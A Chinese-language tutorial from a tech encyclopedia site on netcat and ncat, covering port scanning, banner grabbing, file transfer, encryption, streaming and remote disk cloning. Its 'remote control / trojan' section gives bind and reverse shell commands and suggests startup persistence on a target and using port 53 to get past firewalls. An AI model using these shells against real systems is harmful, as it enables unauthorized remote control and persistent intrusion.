您当前的位置:首页 > 电脑百科 > 网络技术 > 网络软件

网络工具netcat介绍及使用

时间:2022-02-23 13:43:22  来源:  作者:会测试的鲸鱼

.NETcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下:

  • 端口扫描
  • telnet / 获取系统 banner 信息
  • 传输文本信息
  • 传输文件和目录
  • 加密传输文件
  • 远程控制 / 木马
  • 流媒体服务器
  • 远程克隆硬盘

首先还是通过-h来查看使用说明:

网络工具netcat介绍及使用

nc -h

其中有两个参数用得比较多,v 参数就是列出执行过程的详细信息,n 参数翻译过来就是仅接收 ip 地址,没有 DNS。之所以使用 n 参数,是因为使用命令的过程中只去传入 ip,减少了 nc 把域名解析为 ip 的过程,这样可以节省时间提高效率。

端口扫描

nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号,z参数从帮助说明里翻译过来差不多是“不进行 i/o,用来扫描”的意思,可以理解成仅仅是去 ping 去探测目标是否开启指定端口,不进行任何的交互。

网络工具netcat介绍及使用

被扫描端口处于打开状态


网络工具netcat介绍及使用

被扫描端口处于关闭状态

z 参数默认扫描的是 tcp 类型,如果需要扫描 udp,则需要使用一个新参数 u。

每一个扫描器的扫描结果都不一定准确,最好多使用几款扫描器对目标进行扫描,综合结果进行判断,会相对更准确一些。

telnet / 获取系统 banner 信息

telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文传输。nc 也是明文方式传输的数据,所以后续需要使用nmap下的ncat工具来结合一下,弥补其不足。nc 在这里可以获取服务器banner信息。用163邮箱服务器作为例子:

网络工具netcat介绍及使用

nc -nv 123.126.97.79 110

后面还可以通过传递USER、PASSWARD进行登录,但是传递的账户名和密码都是需要加密过的,不能直接传明文,这里不再展开。

根据返回的信息可以知道,其使用的是 coremAIl 邮件系统。

传输文本信息

nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。l(小写)参数是监听模式的意思,p参数是指定一个端口。

网络工具netcat介绍及使用

文本传输

这种相互传输信息和渗透之间的关系是,电子取证的时候可以用。当机器被攻击后,为了不破坏现场,需要提出大量的信息和文件出来做分析,这时候可以用 nc 的这个机制,例如,需要一个命令的输出信息,首先自己机器上监听一个端口,随后在被攻击的机器上执行相关的命令,然后以管道给 nc,指定自己机器的地址和端口,这样输出结果就会到自己机器上,如下图:

网络工具netcat介绍及使用

ll的执行结果传输给了目标机器

如果输出内容过多,则可以将内容定向输出到文件中:

网络工具netcat介绍及使用

将接收结果存到ll.txt


网络工具netcat介绍及使用

ll.txt存入的内容

这里再介绍一个参数q,作用是传输完以后等待指定时间自动断开。

网络工具netcat介绍及使用

-q的作用

传输文件和目录

传输文件和目录的这些功能,其实和文本信息传输类似,只不过是把文本信息换成了文件和目录。首先用一台机器监听一个端口,如果有人连接并传来信息时,则将信息使用 > 重定向到文件。另一台机器连接目标指定端口然后通过 < 输出要传送的文件即可。

传输文件:

B向A传输一个mp3文件
A: nc -lp 333 > 1.mp3
B: nc -nv 1.1.1.1 333 < 1.mp3

A向B传输一个mp3文件
A: nc -q 1 -lp 333 < a.mp3
B: nc -nv 1.1.1.1 333 > a.pm3

文件格式没什么限制,只要源文件和接收文件格式一致就行。

传输目录:

tar是打包解包工具,不会使用的可以查一下使用说明
A打包指定的文件夹,打包后的文件传给请求方,music前面的-是代表打包后的文件名的,但是这里直接传输了,有没有具体文件名都可以
B请求目标地址端口,将返回的内容解包
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar -xvf -

加密传输文件

加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装。使用和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可。

网络工具netcat介绍及使用

mcrypt --help

具体使用:

接收端:
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
发送端:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1  

命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些不是严重的警告,-d 解密,首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip。

发送端第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件。

远程控制 / 木马

实现方式如下:

正向:
被控制端:
nc -lp 333 -c bash
控制端
nc 1.1.1.1 333

反向:
控制端:
nc -lp 333
被控制端:
nc 1.1.1.1 333 -c bash

简单总结就是谁输-c,谁就被控制

原理和传输文件一样,只不过传输的是 bash,windows 系统是 cmd,正向是被控制机器主动指定 bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是被控制的机器。反向就是控制端指定bash,连接被控制端后,指定命令的还是被控制的机器。

通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口。这时正向的 shell 就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者给自己的机器开一个端口,让目标服务器来连自己,并提供bash。为了达到这个目的,可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己。

当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己。

流媒体服务器

具体实现方式:

服务端:
cat 1.mp4 | nc -lp 333
客户端:
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -

其中mplayer在有些Linux中是没有默认安装的,如果没有就手动安装一下。

网络工具netcat介绍及使用

mplayer -h

其中vo参数是选择驱动程序,cache参数的意思是每秒要接收的播放帧。

远程克隆硬盘

我们都知道文件删除的原理,在不格式化的情况下,删除文件后是可以通过一些手段还原回来的,所以在远程电子取证时,远程克隆硬盘就显得很有作用了。

具体使用时需要借助命令dd,首先通过nc监听一个端口,然后通过dd指定要克隆的分区,dd的of参数相当于一个复制功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令。

接收端:
nc -lp 333 | dd of=/dev/sda
被复制端:
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

ncat

nc 也有不足之处,首先就是明文传输,可能会被嗅探。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能。

ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的。ncat的使用参数很多和nc是一样的,可以通过--alow参数来指定允许连接的机器,通过--ssl进行数据的加密。

被控制端:
ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl
控制端:
ncat -nv 1.1.1.1 333 --ssl

通过allow参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接。



Tags:netcat   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
用好你的瑞士军刀/netcat
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名,以体积小(可执行 200KB)功能灵活而著称,在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具...【详细内容】
2023-04-02  Search: netcat  点击:(289)  评论:(0)  加入收藏
黑客为什么对Netcat那么钟情?
Netcat 是每个黑客都应该熟悉的少数工具之一&mdash;&mdash;例如 nmap、Metasploit、Wireshark 和其他少数几个工具。它简单,优雅,用途广泛。例如,netcat 可用于:&middot;扫描以...【详细内容】
2022-08-27  Search: netcat  点击:(472)  评论:(0)  加入收藏
网络工具netcat介绍及使用
netcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下: 端口扫描 telnet / 获取系统 banner 信息 传输文本信...【详细内容】
2022-02-23  Search: netcat  点击:(809)  评论:(0)  加入收藏
请收好Netcat网络工具中的瑞士军刀,从此故障诊断不用愁!
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名,以体积小(可执行 200KB)功能灵活而著称,在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具...【详细内容】
2020-04-10  Search: netcat  点击:(436)  评论:(0)  加入收藏
Linux Netcat 命令—超级网络工具详解
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。ne...【详细内容】
2019-06-28  Search: netcat  点击:(933)  评论:(0)  加入收藏
▌简易百科推荐
局域网限制上网软件有哪些
今天咱们继续来聊聊上网的事儿吧!企业和学校的网络管控,真是不容小觑。他们要确保网络安全和合规性,那得用上一些局域网限制上网软件。这些软件可是厉害哦!它们不仅能够掌控局域...【详细内容】
2023-12-15  网亚企业监管软件    Tags:限制上网   点击:(76)  评论:(0)  加入收藏
三款广受好评的内网监控管理软件
内网监控管理软件是一种用于监控和管理企业内部网络活动的工具。它可以帮助管理员实时监测网络流量、设备状态和用户行为,以确保网络安全和合规性。本文将从内网监控管理软件...【详细内容】
2023-11-15  洞察眼MIT系统    Tags:内网监控   点击:(169)  评论:(0)  加入收藏
推荐几个安全检测的开源系统
Security Onin系统 它的官网:https://securityonionsolutions.com/software/Security Onion是一款专为入侵检测和NSM(网络安全监控)设计的Linux发行版。它集成了日志分析、...【详细内容】
2023-09-10  安全架构  微信公众号  Tags:安全检测   点击:(230)  评论:(0)  加入收藏
一键关闭防火墙软件
作为一名电脑从业者,我有10年的经验,并熟悉Windows系统的各种设置和指令。来解决您的问题,如何关闭Windows系统的防火墙。以下是几个解决方案:一键关闭防火墙的工具包在这里:52ru...【详细内容】
2023-08-24  翰墨文化世界    Tags:防火墙   点击:(222)  评论:(0)  加入收藏
疯传全网网络10个运维巡检脚本以及使用小技巧
第1章 前言巡检脚本在网络运维中非常重要,近期客户想要一些简单的脚本实现自动化常规项的检查,本文主要介绍一些常见巡检脚本和使用方法。 第2章 脚本案例1. 网络连通性检查...【详细内容】
2023-08-23  虚拟化时代君  微信公众号  Tags:网络   点击:(319)  评论:(0)  加入收藏
分享15个网络监控神器
近年来,随着虚拟、云和边缘网络的增加,网络监控工具已经显得越来越重要。在当今大多数企业中,监控混合IT环境中的网络流量对于主动网络管理至关重要。无论是检测行为异常、占用...【详细内容】
2023-08-17  网络工程师俱乐部    Tags:网络监控   点击:(197)  评论:(0)  加入收藏
远程桌面连接出现了内部错误怎么解决?
远程桌面连接是一种非常方便的工具,可以让用户从远程访问其他计算机的桌面界面。但是,有时候在连接远程桌面时会出现内部错误,导致无法连接或者连接后无法正常使用。在本文中,我...【详细内容】
2023-05-10  RayLink    Tags:桌面连接   点击:(327)  评论:(0)  加入收藏
局域网远程桌面工具推荐
有多种软件选项适用于局域网 (LAN) 中的远程桌面,包括 微软远程桌面、Splashtop、Teamviewer 等。 以下是根据性能、安全性、价格、品牌历史和其他因素对这些软件选项进行的...【详细内容】
2023-04-28  Splashtop远程控制    Tags:远程桌面   点击:(368)  评论:(0)  加入收藏
什么是远程桌面连接?如何操作远程桌面?
随着时代越来越信息化、智能化、自动化,越来越多的企业和个人开始使用远程办公软件进行办公。其中远程桌面连接是一种非常流行的办公方式。那么,什么是远程桌面连接?如何操作...【详细内容】
2023-04-13  RayLink    Tags:远程桌面   点击:(197)  评论:(0)  加入收藏
用好你的瑞士军刀/netcat
Netcat 号称 TCP/IP 的瑞士军刀并非浪得虚名,以体积小(可执行 200KB)功能灵活而著称,在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具...【详细内容】
2023-04-02  码农世界  今日头条  Tags:netcat   点击:(289)  评论:(0)  加入收藏
站内最新
站内热门
站内头条